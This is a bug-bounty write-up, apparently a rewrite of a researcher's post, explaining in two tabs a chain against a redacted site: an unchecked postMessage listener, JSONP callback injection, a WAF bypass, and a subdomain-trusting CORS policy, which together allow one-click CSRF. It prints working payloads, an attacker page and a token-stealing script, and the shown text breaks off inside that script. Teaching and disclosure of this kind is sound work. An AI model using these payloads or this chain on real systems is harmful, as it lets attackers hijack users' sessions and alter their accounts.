A smorgasbord of a bug chain: postMessage, JSONP, WAF bypass, DOM-based XSS, CORS, CSRF…
An insecure postMessage listener on an out-of-scope subdomain allowed calling a function that loaded a JSONP endpoint, which had a WAF bypass and a lenient callback, leading to DOM-based XSS. Combined with a permissive CORS policy on an in-scope endpoint, this enabled stealing an anti-CSRF token and performing CSRF to update the victim's profile.
Published on jub0bs.com
A few months ago, while hunting on a public bug-bounty programme, I found a nice little bug chain that involved
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a public bug-bounty programme whose scope was limited to www.redacted.com and a few other subdomains of redacted.com. The organisation's identity is redacted throughout the write-up.
The feature at the centre of the chain is the authenticated profile update flow. Some subdomains, such as inscope.redacted.com, can perform sensitive actions, for example updating the authenticated user's profile, by issuing POST requests to endpoints rooted at https://www.redacted.com/api. Authentication of those requests relies on ambient authority in the form of a cookie named sid, marked SameSite=None and Secure.
As a CSRF defence, the API endpoints require a token tied to the authenticated user's session in a query parameter named csrftoken. Client code running in the context of https://inscope.redacted.com retrieves that anti-CSRF token through an authenticated GET request to https://www.redacted.com/profile, which is configured for CORS for that purpose.
Setup
The main tool mentioned is Frans Rosén's postMessage-tracker Chrome extension, which led the researcher to the vulnerable listener. Testing was done with curl against the profile endpoint and the JSONP endpoint, and the final exploit was deployed as static files on the researcher's own domain, https://redacted.jub0bs.com.
The precondition for the whole chain is a victim who is authenticated on https://www.redacted.com (so that the sid cookie is sent) and who can be lured to an attacker-controlled page and persuaded to click a button once.
Finding it
The researcher had run out of ideas on the in-scope assets, but the possibility of an exploitable CSRF lingered. The obstacle was the csrftoken query parameter: without a way to read the victim's token, the POST requests to https://www.redacted.com/api could not be forged. No straightforward way to steal the token was found, so the hunt seemed to have hit a brick wall.
When progress stalls like this, the researcher's habit is to explore out-of-scope assets in the hope of finding a trust relationship with in-scope assets. Further testing of https://www.redacted.com/profile showed that its CORS configuration allowed, not just the origin https://in-scope.redacted.com, but any Web origin made up of an arbitrary subdomain of redacted.com.
That changed the plan: an XSS on any redacted.com subdomain, even an out-of-scope one, would allow the anti-CSRF token to be stolen and CSRF attacks to be mounted against https://www.redacted.com/api endpoints. The researcher therefore set out to scrutinise out-of-scope subdomains of redacted.com.
Exploitation
Step 1: confirm the permissive CORS policy
A request with an arbitrary subdomain in the Origin header was sent to the profile endpoint:
$ curl -sD - -o /dev/null \
-H "Origin: https://whatever.redacted.com" \
-H "Cookie: sid=xxx-yyy-zzz" \
https://www.redacted.com/profile
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://whatever.redacted.com
Vary: Origin
-snip-
The response reflects the arbitrary origin in Access-Control-Allow-Origin and includes Vary: Origin. Because the CORS policy reflects any redacted.com subdomain origin, a script running on such a subdomain can read the authenticated profile response, including the anti-CSRF token.
Step 2: find an insecure message event listener
Using the postMessage-tracker extension, the researcher homed in on https://out-of-scope.redacted.com/search, which had a listener on 'message' events:
function handleMessageEvent(e) {
try {
var t = e;
if (void 0 !== e.data && (t = e.data), "string" == typeof t) {
try {
t = JSON.parse(t)
} catch (e) {
return !1
}
}
if (void 0 === t.method) return !1;
var n, r = t.method.split(".");
if (!(r.length > 0 && "APP" === r[0])) return !1;
n = window;
for (var a = 0; a < r.length; a++) {
if (void 0 === n[r[a]]) {
throw APP.Exception("COMMUNICATION_SECURITY");
}
n = n[r[a]]
}
if ("function" != typeof n) {
throw APP.Exception("COMMUNICATION_SECURITY");
}
n(t.arg)
} catch (e) {
APP.catchException(e)
}
return !1
}
The listener has no origin check. Any malicious page anywhere on the Web that holds a reference to a document at https://out-of-scope.redacted.com/search can send it Web messages, and those messages are unconditionally accepted and processed. On its happy path the listener:
- Parses the event's
dataproperty as JSON and stores the result in an object namedt. - Splits the
methodproperty on periods. - Uses the result to iteratively access nested properties of a
window.APPobject declared elsewhere in the client. - Calls the function thus obtained, passing it the
argproperty oftas argument.
So a message such as:
`{"method": "APP.foo.bar.baz", "arg": "qux"}`
would, provided window.APP.foo.bar.baz is defined and is a function, cause the following to run in the context of https://out-of-scope.redacted.com:
APP.foo.bar.baz('qux')
The listener's logic limits this vector to calls to functions reachable through window.APP, with a single argument of type string. The researcher could not find a way to reach eval or the Function constructor to escalate to unrestricted DOM-based XSS, so the only option was to explore the properties of window.APP in search of a script gadget.
A function named APP.util.setCookie stood out. It allowed callers to set arbitrary cookies on the out-of-scope.redacted.com domain. A malicious cross-origin page could set a cookie named foo with value bar like so:
const win = window.open('https://out-of-scope.redacted.com');
// omitted: wait a few seconds for the page to load
const msg = `{"method":"APP.util.setCookie", "arg":"foo=bar"}`;
win.postMessage(msg, '*');
The ability to set cookies across origins can enable session fixation, unlock otherwise seldom exploitable cookie-based XSS, or defeat some implementations of the double-submit-cookie defence against CSRF. In this case, however, the researcher could not find a way to abuse APP.util.setCookie to cause real damage.
Step 3: abuse APP.apiCall and the JSONP endpoint
A function named window.APP.apiCall eventually caught the researcher's eye:
function apiCall(t, n, r, a) {
try {
"/" !== t[0] && (t = "/" + t);
var o = t.split("?"),
i = [];
if (o.length > 1 && (t = o[0],
i = o[1].split("&")),
t = "https://search.redacted.com" + t,
"get" !== n && i.push("request_method=" + n),
null !== r)
for (var c in r)
({}).hasOwnProperty.call(r, c) &&
i.push(c + "=" + encodeURIComponent(r[c]));
i.push("output=jsonp"),
null !== e.token && i.push("access_token=" + e.token),
i.push("version=js-v" + e._version),
e.request._send({
path: t,
path_args: i,
callback: a,
callback_name: "callback"
})
} catch (t) {
e.catchException(t)
}
}
Two observations matter. First, window.APP.apiCall is designed to send a request to a JSONP endpoint on https://search.redacted.com and load the response as an external script in the context of https://out-of-scope.redacted.com. Second, it does not build the JSONP URL in a particularly secure way.
Dynamic tests on the JSONP endpoint showed that it was protected by Akamai's WAF. A first request with the callback in the querystring was blocked:
GET https://search.redacted.com/?callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 403 Forbidden
Server: AkamaiGHost
-snip-
Thanks to questionable URL parsing on the server side, the WAF could be bypassed by dropping the ? that marks the beginning of the querystring. The origin server then answered with 200:
GET https://search.redacted.com/&callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 200
Server: Apache
Content-Length: 59
Content-Type: text/javascript; charset=utf-8
-snip-
alert({"error":{"msg":"Unknown path components: \/get"}})
The JSONP endpoint was also very lenient in validating its callback: as long as the value of the callback query parameter was fully doubly URL-encoded, it was accepted.
HTTP/2 200
Content-Type: text/javascript; charset=utf-8
-snip-
alert('xss')//({"error":{"msg":"Unknown path components: \/get"}})
With these two properties, a malicious page could send a Web message to https://out-of-scope.redacted.com/search that tricks it into hitting the JSONP endpoint with a payload of the attacker's choice, executing arbitrary JavaScript such as alert(document.domain) in the context of https://out-of-scope.redacted.com:
const url = 'https://out-of-scope.redacted.com/search';
const win = window.open(url);
// omitted: wait a few seconds for the page to load
const msg = {
'method': 'APP.apiCall',
'arg': '&callback=alert%2528document.domain%2529%252f%252f&output=jsonp#'
};
win.postMessage(JSON.stringify(msg), '*');
This is unrestricted DOM-based XSS on an origin that the CORS configuration of https://www.redacted.com/profile allows, which gives a way to steal the victim's anti-CSRF token.
Step 4: deal with the need for one click
To send Web messages to https://out-of-scope.redacted.com/search, the malicious page first needs a reference to an iframe or a window opened on that page. Cross-origin framing was out of the question because all of the target's responses contained:
X-Frame-Options: SAMEORIGIN
Instead, the page opens https://out-of-scope.redacted.com/search in a pop-up window, which requires a small amount of user interaction, such as clicking a button, to get past the browser's pop-up blocker.
Step 5: the full one-click CSRF
The researcher deployed the following static page to https://redacted.jub0bs.com/index.html:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function encode(str) {
return encodeURIComponent(str).replace(
/['()*]/g,
(c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`,
);
}
var win;
function sendMsg() {
const url = new URL("https://out-of-scope.redacted.com/search");
if (typeof win === 'undefined') {
win = open(url);
}
const delayMs = 2000;
const payload = new URLSearchParams(window.location.search)
.get("payload");
setTimeout(() => {
const doubleEncodedPayload = encode(encode(`${payload}//`));
const msg = {
'method': 'APP.apiCall',
'arg': `&callback=${doubleEncodedPayload}&output=jsonp#`
};
win.postMessage(JSON.stringify(msg), url.origin);
}, delayMs);
}
</script>
<input type=button value="Click me!" onclick="sendMsg();">
</body>
</html>
The page consists of a single button, a click on which would cause the malicious payload to execute on https://out-of-scope.redacted.com.
The second file, deployed to https://redacted.jub0bs.com/1.js, steals the token and performs the CSRF:
async function stealToken() {
const url = 'https://www.redacted.com/profile';
const opts = {method: 'POST', credentials: 'include'};
return await fetch(url, opts)
.then(body => body.json())
.then(data => data.csrftoken);
}
async function csrf() {
const token = await stealToken();
const url = `https://www.redacted.com/api/updateProfile?csrftoken=${token}`;
const randomString = (Math.random() + 1).toString(36).substring(7);
const data = {'username':`PWNED_${randomString}`};
const opts = {
method: 'POST',
credentials: 'include',
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf();
stealToken fetches the profile with credentials included and extracts csrftoken. csrf then posts a new username, PWNED_ followed by a random string, to https://www.redacted.com/api/updateProfile with the stolen token in the query string.
The victim, authenticated on https://www.redacted.com, is lured to:
If the victim clicks the button, the payload executes on https://out-of-scope.redacted.com, loads 1.js, and the victim's username on https://www.redacted.com is unwittingly changed to a telltale value such as PWNED_ysp4d.
Root cause
Several weaknesses combine, and each one is needed for the chain:
- The
'message'listener onhttps://out-of-scope.redacted.com/searchperforms no origin check, so any page can drive it. - The listener dispatches to arbitrary functions reachable through
window.APPwith a single string argument, andAPP.apiCallbuilds a JSONP URL from that argument without secure construction, allowing the callback to be controlled. - The JSONP endpoint on
https://search.redacted.comaccepts a fully doubly URL-encoded callback, so arbitrary JavaScript can be placed in the response. - The WAF in front of the JSONP endpoint can be bypassed by omitting the
?before the querystring, because the origin server parses the URL differently from the WAF. - The CORS policy on
https://www.redacted.com/profiletrusts any subdomain ofredacted.com, so XSS on any subdomain, in scope or not, is enough to read the anti-CSRF token.
The existing defences did not stop the chain: X-Frame-Options: SAMEORIGIN prevented framing but not pop-ups, the over-permissive CORS policy let the XSS read the anti-CSRF token, and the WAF was defeated by URL parsing differences.
Impact
An attacker who can lure an authenticated victim to an attacker-controlled page and get one click can change that victim's profile data on https://www.redacted.com, in the demonstrated case the username. The attack requires user interaction and works only against a victim authenticated on https://www.redacted.com. The researcher rated it with the CVSS vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N (7.1 High).
The report was rewarded with €200, although the programme's reward table paid just under €1,000 for High. The researcher received no justification despite repeated requests.
Fix
What was changed is not stated in the report. The weaknesses that should be addressed are the missing origin check in the message listener, the unsafe construction of the JSONP URL in APP.apiCall, the lenient callback validation on the JSONP endpoint, the URL parsing discrepancy that bypasses the WAF, and the CORS policy that trusts every subdomain of redacted.com.
Variants to test
- Look for
'message'listeners without origin checks on any subdomain, in scope or not, using a tool such as postMessage-tracker. A positive result is a listener that processes messages from an arbitrary origin. - Enumerate the functions reachable through the object the listener dispatches on, looking for script gadgets such as cookie setters or URL loaders. A positive result is a function that lets you set a cookie, load a script, or otherwise execute code.
- Test JSONP endpoints for lenient callback validation, including fully doubly URL-encoded values. A positive result is a response that reflects your callback as executable JavaScript.
- Try WAF bypasses based on URL parsing differences, such as omitting the
?before the querystring. A positive result is a200from the origin where the WAF returned403. - Check CORS policies on authenticated endpoints for wildcard subdomain trust. A positive result is
Access-Control-Allow-Originreflecting an arbitrary subdomain. - Check whether
X-Frame-Optionsblocks framing but not pop-ups, and whether a one-click pop-up flow is enough to reach the vulnerable listener.
What happened, in plain words
A security researcher was hunting for bugs on a public bug-bounty programme. A bug-bounty programme is a scheme where a company invites outside people to test its systems and pays them for reporting problems. The company's real name is hidden in the write-up; it appears as redacted.com.
The possibility of an exploitable CSRF lingered in the researcher's mind. CSRF stands for cross-site request forgery. Imagine you are logged in to your bank in one browser tab, and you open a malicious page in another tab. That malicious page can quietly make your browser send a request to the bank, and because your browser still holds your bank login cookie, the bank treats the request as coming from you. That is CSRF: a hostile website making your browser perform an action on another site where you are logged in.
The company had a defence against CSRF: a secret token. A token here is a long random value that the server gives to your browser and expects to see again on sensitive requests. A hostile page cannot guess it, so it cannot forge the request. The researcher's problem was how to read the victim's token. The answer turned out to be a chain of several smaller weaknesses:
- A page on one subdomain listened for messages from other pages and never checked who sent them.
- That page could be tricked into loading a script from a JSONP endpoint (a way of fetching data as executable code).
- A firewall in front of that endpoint could be bypassed by writing the URL slightly differently.
- The endpoint accepted a crafted callback, which gave the researcher JavaScript execution on an out-of-scope subdomain.
- The profile endpoint's CORS policy (the rule that says which websites may read its responses) trusted every subdomain, so that JavaScript execution was enough to read the token.
With the token in hand, the researcher could change the victim's profile. The whole attack needed the victim to click one button. The researcher reported it, rated it 7.1 High, and was paid €200, although the programme's reward table paid just under €1,000 for High.
The target and the feature
The programme's scope, meaning the list of systems the company agreed to have tested, was www.redacted.com and a few other subdomains of redacted.com. A subdomain is a prefix on a domain name: in www.redacted.com, the www part is the subdomain. Different subdomains can be run by different teams, with different code and different security settings, which is why they matter here.
The feature at the centre of the story is the profile update. On some subdomains, such as inscope.redacted.com, a logged-in user can change their profile. The browser does this by sending a POST request to an address under https://www.redacted.com/api. An API is a set of addresses a website's own pages use to read and change data on the server, without a human clicking through pages; a POST request is the kind a browser sends when it is submitting something, as opposed to a GET, which is the kind sent when you simply open a page.
Those requests are authenticated by a cookie named sid. A cookie is a small piece of data a website stores in your browser and that your browser automatically attaches to every later request to that site. That automatic attachment is called ambient authority: the server trusts the cookie simply because it arrived, without asking you again. The sid cookie was marked SameSite=None and Secure. Secure means the cookie is only sent over encrypted HTTPS connections. SameSite=None means the browser is allowed to attach it even when the request originates from a different website, which is exactly what makes CSRF possible in the first place.
To defend against CSRF, the API required an extra value in a query parameter named csrftoken. A query parameter is the name=value part after a ? in a URL. The token is tied to the logged-in session, so a hostile page that does not know it cannot produce a valid request. The site's own pages on https://inscope.redacted.com obtained the token by making a logged-in GET request to https://www.redacted.com/profile. That endpoint was configured for CORS so those pages could read the answer.
CORS stands for Cross-Origin Resource Sharing. By default a browser refuses to let a page on one site read the response of a request to another site, because otherwise any page could read your private data from sites you are logged in to. CORS is the mechanism by which a server says, explicitly, which other sites are allowed to read its responses. The server does this by echoing an allowed site in a response header called Access-Control-Allow-Origin.
The starting point: a wall
The researcher had run out of ideas on the in-scope assets, but kept thinking about CSRF. The blocker was the csrftoken parameter: without a way to read the victim's token, the POST requests to https://www.redacted.com/api could not be forged. No straightforward way to steal the token turned up, so the hunt looked stuck.
When progress stalls, the researcher's habit is to look at out-of-scope assets, hoping to find a trust relationship between them and the in-scope ones. An out-of-scope asset is a system the company did not list for testing, but which may still be reachable and may still be trusted by the in-scope systems. That trust is the interesting part: if an in-scope server believes something an out-of-scope server says, then a bug on the out-of-scope server can be used against the in-scope one.
Further testing of https://www.redacted.com/profile showed that its CORS configuration allowed not just the origin https://in-scope.redacted.com but any web origin made up of an arbitrary subdomain of redacted.com. An origin, in browser terms, is the combination of scheme, host and port: https://in-scope.redacted.com and https://whatever.redacted.com are two different origins. Allowing any subdomain means the server trusts every subdomain equally.
That changed the plan. If the researcher could find XSS on any redacted.com subdomain, even an out-of-scope one, the anti-CSRF token could be stolen and CSRF attacks mounted against https://www.redacted.com/api. XSS, cross-site scripting, is when an attacker gets their own JavaScript to run inside a page of the target site. JavaScript running in a page can read that page's data and make requests as the logged-in user, so XSS on a trusted subdomain is as good as being that subdomain. The researcher set out to scrutinise out-of-scope subdomains of redacted.com.
Step 1: confirming the permissive CORS policy
First the researcher confirmed the CORS behaviour with a direct request. curl is a command-line tool for sending HTTP requests by hand, without a browser. The request below asks for the profile page while pretending to come from an arbitrary subdomain, and includes the session cookie:
$ curl -sD - -o /dev/null \
-H "Origin: https://whatever.redacted.com" \
-H "Cookie: sid=xxx-yyy-zzz" \
https://www.redacted.com/profile
Line by line:
curlis the program being run.-sD -means: stay silent about progress, and print the response headers to standard output. Headers are the metadata lines a server sends before the body.-o /dev/nullmeans: throw the response body away, because only the headers matter here.-H "Origin: https://whatever.redacted.com"adds a header namedOrigin. Browsers add this header automatically on cross-site requests to say where the request came from; here it is set by hand to simulate a page on an arbitrary subdomain.-H "Cookie: sid=xxx-yyy-zzz"adds the session cookie. The value is a placeholder, not a real session.- The last line is the address being requested.
The server answered:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://whatever.redacted.com
Vary: Origin
-snip-
HTTP/1.1 200 OKmeans the request succeeded.Access-Control-Allow-Origin: https://whatever.redacted.comis the server echoing back the origin that was sent. It echoed back the origin that was sent. That is the permissive CORS policy in action.Vary: Origintells caches that the response differs depending on theOriginheader, so a cached copy for one origin is not served to another.-snip-marks headers the write-up left out.
Because the request was authenticated with the sid cookie, any script running on any redacted.com subdomain can read the profile response, including the anti-CSRF token. The wall was now a door, provided the researcher could get script execution on some subdomain.
Step 2: an insecure message listener
Browsers let pages talk to each other with postMessage, a way for one window to send a message to another window, for example a page and a pop-up it opened. The receiving page registers a listener, a function that runs whenever a message arrives. The security rule is that the listener must check the origin of the sender, because otherwise any website can send it instructions. The researcher used Frans Rosén's postMessage-tracker Chrome extension, which highlights pages that use postMessage, to find such listeners across subdomains.
Using the extension, the researcher homed in on https://out-of-scope.redacted.com/search, which had a listener on 'message' events:
function handleMessageEvent(e) {
try {
var t = e;
if (void 0 !== e.data && (t = e.data), "string" == typeof t) {
try {
t = JSON.parse(t)
} catch (e) {
return !1
}
}
if (void 0 === t.method) return !1;
var n, r = t.method.split(".");
if (!(r.length > 0 && "APP" === r[0])) return !1;
n = window;
for (var a = 0; a < r.length; a++) {
if (void 0 === n[r[a]]) {
throw APP.Exception("COMMUNICATION_SECURITY");
}
n = n[r[a]]
}
if ("function" != typeof n) {
throw APP.Exception("COMMUNICATION_SECURITY");
}
n(t.arg)
} catch (e) {
APP.catchException(e)
}
return !1
}
Line by line:
function handleMessageEvent(e) {declares the function that will run for each incoming message.eis the event object, which carries the message data and information about the sender.try {starts a block whose errors will be caught at the bottom.var t = e;sets a working variabletto the whole event.if (void 0 !== e.data && (t = e.data), "string" == typeof t) {checks whether the event has adataproperty and, if so, replacestwith it. Then, iftis a string, it enters the next block.void 0is a long-winded way of writingundefined.try { t = JSON.parse(t) } catch (e) { return !1 }tries to parse the string as JSON, the text format for structured data. If parsing fails, it returnsfalseand stops.!1is justfalsewritten oddly.if (void 0 === t.method) return !1;requires the parsed object to have amethodproperty; otherwise it stops.var n, r = t.method.split(".");splits themethodstring on dots. For exampleAPP.foo.barbecomes["APP", "foo", "bar"].if (!(r.length > 0 && "APP" === r[0])) return !1;requires the first piece to be exactlyAPP; otherwise it stops.n = window;starts walking from the globalwindowobject, the top-level object that holds everything a page can reach.for (var a = 0; a < r.length; a++) {loops over each piece of the split method name.if (void 0 === n[r[a]]) { throw APP.Exception("COMMUNICATION_SECURITY"); }stops with an error if the next property does not exist.n = n[r[a]]moves one level deeper, so after the loopnis the object or function named by the full dotted path.if ("function" != typeof n) { throw APP.Exception("COMMUNICATION_SECURITY"); }requires the final value to be a function.n(t.arg)calls that function, passing the message'sargproperty as the single argument.} catch (e) { APP.catchException(e) }catches any error and hands it to the site's own error handler.return !1returnsfalse.
The important part is what is missing: there is no check of e.origin, the property that says which site sent the message. Any malicious page anywhere on the web that holds a reference to a document at https://out-of-scope.redacted.com/search can send it messages, and those messages are accepted and processed without question. A reference means a handle to that window, for example a pop-up the malicious page opened.
On its normal path the listener does four things:
- Parses the event's
dataproperty as JSON and stores the result in an object namedt. - Splits the
methodproperty on periods. - Uses the result to walk down nested properties of a
window.APPobject declared elsewhere in the page's code. - Calls the function it reaches, passing it the
argproperty oftas the argument.
So a message such as:
`{"method": "APP.foo.bar.baz", "arg": "qux"}`
would, provided window.APP.foo.bar.baz is defined and is a function, cause the following to run in the context of https://out-of-scope.redacted.com:
APP.foo.bar.baz('qux')
In other words, the attacker can call any function that is reachable through window.APP, with one argument, and that argument must be a string. That is a real capability but a limited one. The researcher could not find a way to reach eval or the Function constructor, two JavaScript features that turn text into running code, so the finding could not be escalated to unrestricted DOM-based XSS. DOM-based XSS is XSS where the malicious input is handled by the page's own JavaScript in the browser, rather than being reflected by the server. The only option left was to explore the properties of window.APP by hand, looking for a script gadget: an existing function that, when called with attacker-controlled input, does something useful to an attacker.
One function stood out: APP.util.setCookie. As the name suggests, it let the caller set arbitrary cookies on the out-of-scope.redacted.com domain. A malicious cross-origin page could set a cookie named foo with value bar like this:
const win = window.open('https://out-of-scope.redacted.com');
// omitted: wait a few seconds for the page to load
const msg = `{"method":"APP.util.setCookie", "arg":"foo=bar"}`;
win.postMessage(msg, '*');
Line by line:
const win = window.open('https://out-of-scope.redacted.com');opens the target page in a new window and keeps a handle to it inwin.- The comment notes that the page needs time to load before it can receive messages.
const msg = ...builds the message text: a JSON object whosemethodisAPP.util.setCookieand whoseargis the cookie stringfoo=bar.win.postMessage(msg, '*');sends the message to that window. The'*'means no restriction on the receiving origin; it is the sender's side of the same missing check.
Being able to set cookies across origins can help an attacker in several ways: it may enable session fixation (forcing a victim to use a session identifier the attacker knows), it may unlock cookie-based XSS that is otherwise hard to trigger, or it may defeat some implementations of the double-submit-cookie defence against CSRF, where a cookie and a request value are compared. In this case, however, the researcher could not find a way to abuse APP.util.setCookie to cause real damage, so it was noted and set aside.
Step 3: abusing APP.apiCall and the JSONP endpoint
A function named window.APP.apiCall eventually caught the researcher's eye:
function apiCall(t, n, r, a) {
try {
"/" !== t[0] && (t = "/" + t);
var o = t.split("?"),
i = [];
if (o.length > 1 && (t = o[0],
i = o[1].split("&")),
t = "https://search.redacted.com" + t,
"get" !== n && i.push("request_method=" + n),
null !== r)
for (var c in r)
({}).hasOwnProperty.call(r, c) &&
i.push(c + "=" + encodeURIComponent(r[c]));
i.push("output=jsonp"),
null !== e.token && i.push("access_token=" + e.token),
i.push("version=js-v" + e._version),
e.request._send({
path: t,
path_args: i,
callback: a,
callback_name: "callback"
})
} catch (t) {
e.catchException(t)
}
}
Line by line:
function apiCall(t, n, r, a) {declares the function with four parameters: a path, a method, some extra parameters, and a callback."/" !== t[0] && (t = "/" + t);makes sure the path starts with a slash.var o = t.split("?"), i = [];splits the path at the?into the path part and the query part, and starts an empty listifor query parameters.if (o.length > 1 && (t = o[0], i = o[1].split("&")),if there was a query part, keep only the path intand split the query into individualname=valuepieces ini.t = "https://search.redacted.com" + t,prefixes the path with the JSONP server's address."get" !== n && i.push("request_method=" + n),adds the HTTP method as a parameter unless it isget.null !== r) for (var c in r) ... i.push(c + "=" + encodeURIComponent(r[c]));if extra parameters were supplied, add each one, URL-encoding the value.i.push("output=jsonp"),addsoutput=jsonp, which tells the server to answer as JSONP.null !== e.token && i.push("access_token=" + e.token),adds the access token if there is one.i.push("version=js-v" + e._version),adds a version parameter.e.request._send({ path: t, path_args: i, callback: a, callback_name: "callback" })sends the request, naming the callback parametercallback.- The
catchblock hands errors to the site's error handler.
JSONP is worth explaining from zero. Normally a browser will not let a page read data from another site, but it will happily load a script from another site. JSONP exploits that: the server wraps its data in a function call, and the page loads the result as a script. The name of the function is chosen by the caller through a query parameter, usually called callback. If the server does not validate that name strictly, the caller can put arbitrary JavaScript there, and the browser will run it.
Two observations matter. First, window.APP.apiCall is designed to send a request to a JSONP endpoint on https://search.redacted.com and load the response as an external script in the context of https://out-of-scope.redacted.com. Second, it does not build the JSONP URL in a particularly secure way: the caller's string is pasted into the URL, and the callback name comes from that string.
Dynamic tests on the JSONP endpoint showed it was protected by Akamai's WAF. A WAF, web application firewall, is a filter that sits in front of a server and blocks requests that look malicious. A first request with the callback in the query string was blocked:
GET https://search.redacted.com/?callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 403 Forbidden
Server: AkamaiGHost
-snip-
- The request asks the server to wrap its answer in a function called
alert, which would run the browser's alert box. 403 Forbiddenmeans the request was refused.Server: AkamaiGHostshows the refusal came from Akamai's firewall, not from the site itself.
Thanks to questionable URL parsing on the server side, the WAF could be bypassed by dropping the ? that marks the beginning of the query string. The origin server, the actual machine behind the firewall, then answered with 200:
GET https://search.redacted.com/&callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 200
Server: Apache
Content-Length: 59
Content-Type: text/javascript; charset=utf-8
-snip-
alert({"error":{"msg":"Unknown path components: \/get"}})
- The URL now has
&callback=...directly after the slash, with no?. Thanks to questionable URL parsing on the server side, the WAF was bypassed and the origin server answered. 200means the request succeeded.Server: Apacheshows the answer came from the origin server, past the firewall.Content-Length: 59is the size of the body.Content-Type: text/javascript; charset=utf-8says the body is JavaScript, which is exactly what a JSONP response is.- The body is
alert({"error":{"msg":"Unknown path components: \/get"}}): the server wrapped its error message in the callback name the attacker chose. The callback is under the attacker's control.
The JSONP endpoint was also very lenient in validating its callback: as long as the value of the callback query parameter was fully doubly URL-encoded, it was accepted. URL encoding replaces special characters with % codes so they can travel safely in a URL; double encoding means encoding the result a second time, so ( becomes %28 and then %2528.
HTTP/2 200
Content-Type: text/javascript; charset=utf-8
-snip-
alert('xss')//({"error":{"msg":"Unknown path components: \/get"}})
- The callback value is
alert%2528%2527xss%2527%2529%252F%252F. Decoded once it isalert%28%27xss%27%29%2F%2F, and decoded twice it isalert('xss')//. - The response body is
alert('xss')//({"error":...}). The//starts a JavaScript comment, so the server's own data after it is ignored. The browser runsalert('xss').
With these two properties, a malicious page could send a message to https://out-of-scope.redacted.com/search that tricks it into hitting the JSONP endpoint with a payload of the attacker's choice, executing arbitrary JavaScript such as alert(document.domain) in the context of https://out-of-scope.redacted.com:
const url = 'https://out-of-scope.redacted.com/search';
const win = window.open(url);
// omitted: wait a few seconds for the page to load
const msg = {
'method': 'APP.apiCall',
'arg': '&callback=alert%2528document.domain%2529%252f%252f&output=jsonp#'
};
win.postMessage(JSON.stringify(msg), '*');
Line by line:
const url = ...stores the target page's address.const win = window.open(url);opens it in a pop-up and keeps a handle.- The comment notes the wait for loading.
const msg = { ... }builds the message object. ThemethodisAPP.apiCall, so the listener will call that function. Theargis a string that starts with&callback=..., whichapiCallwill treat as the query part of the URL, and ends with#, which starts a URL fragment and stops the rest of the URL from being parsed as part of the query.- The callback value
alert%2528document.domain%2529%252f%252fis the double-encoded form ofalert(document.domain)//.document.domainis the current site's name, so the alert proves which site the code is running on. win.postMessage(JSON.stringify(msg), '*');turns the object into JSON text and sends it to the pop-up.
This is unrestricted DOM-based XSS on an origin that the CORS configuration of https://www.redacted.com/profile allows. That gives a way to steal the victim's anti-CSRF token: JavaScript running on https://out-of-scope.redacted.com can make the CORS-allowed request to the profile endpoint and read the answer.
Step 4: the need for one click
To send messages to https://out-of-scope.redacted.com/search, the malicious page first needs a reference to an iframe or a window opened on that page. An iframe is a page embedded inside another page. The obvious approach, embedding the target in an iframe, was out of the question because all of the target's responses contained:
X-Frame-Options: SAMEORIGIN
X-Frame-Options is a response header that tells the browser whether a page may be embedded in a frame. SAMEORIGIN means only pages from the same origin may frame it, so a malicious page on another site cannot.
Instead, the page opens https://out-of-scope.redacted.com/search in a pop-up window. Browsers block pop-ups that appear without the user doing anything, so this requires a small amount of user interaction, such as clicking a button. That one click is the price of the attack, and it is why the final bug is a one-click CSRF rather than a zero-click one.
Step 5: the full one-click CSRF
The researcher deployed the following static page to https://redacted.jub0bs.com/index.html:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function encode(str) {
return encodeURIComponent(str).replace(
/['()*]/g,
(c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`,
);
}
var win;
function sendMsg() {
const url = new URL("https://out-of-scope.redacted.com/search");
if (typeof win === 'undefined') {
win = open(url);
}
const delayMs = 2000;
const payload = new URLSearchParams(window.location.search)
.get("payload");
setTimeout(() => {
const doubleEncodedPayload = encode(encode(`${payload}//`));
const msg = {
'method': 'APP.apiCall',
'arg': `&callback=${doubleEncodedPayload}&output=jsonp#`
};
win.postMessage(JSON.stringify(msg), url.origin);
}, delayMs);
}
</script>
<input type=button value="Click me!" onclick="sendMsg();">
</body>
</html>
Line by line:
<!doctype html>and the<html>,<head>,<body>tags are the standard skeleton of an HTML page.<meta charset="utf-8">declares the text encoding.<script>starts the JavaScript block.function encode(str) { return encodeURIComponent(str).replace(/['()*]/g, (c) => ...); }is a helper that URL-encodes a string and then also encodes the characters',(,),*, whichencodeURIComponentleaves alone. Each is replaced by its%code in uppercase hexadecimal.var win;declares a variable to hold the pop-up handle.function sendMsg() {declares the function that runs when the button is clicked.const url = new URL("https://out-of-scope.redacted.com/search");parses the target address into a URL object, so its parts, such asorigin, can be used later.if (typeof win === 'undefined') { win = open(url); }opens the pop-up the first time only, so repeated clicks reuse the same window.const delayMs = 2000;sets a two-second wait.const payload = new URLSearchParams(window.location.search).get("payload");reads thepayloadquery parameter from the attacker page's own URL. This is a testing convenience: the payload can be changed without editing the file.setTimeout(() => { ... }, delayMs);runs the inner code after the wait, giving the pop-up time to load.const doubleEncodedPayload = encode(encode(${payload}//));encodes the payload twice and appends//, so the server's own data after the callback is commented out.const msg = { 'method': 'APP.apiCall', 'arg':&callback=${doubleEncodedPayload}&output=jsonp#};builds the message that will make the target page callAPP.apiCallwith the crafted query string.win.postMessage(JSON.stringify(msg), url.origin);sends the message to the pop-up, this time restricted to the target's origin.<input type=button value="Click me!" onclick="sendMsg();">is the single button; clicking it callssendMsg.
The second file, deployed to https://redacted.jub0bs.com/1.js, steals the token and performs the CSRF:
async function stealToken() {
const url = 'https://www.redacted.com/profile';
const opts = {method: 'POST', credentials: 'include'};
return await fetch(url, opts)
.then(body => body.json())
.then(data => data.csrftoken);
}
async function csrf() {
const token = await stealToken();
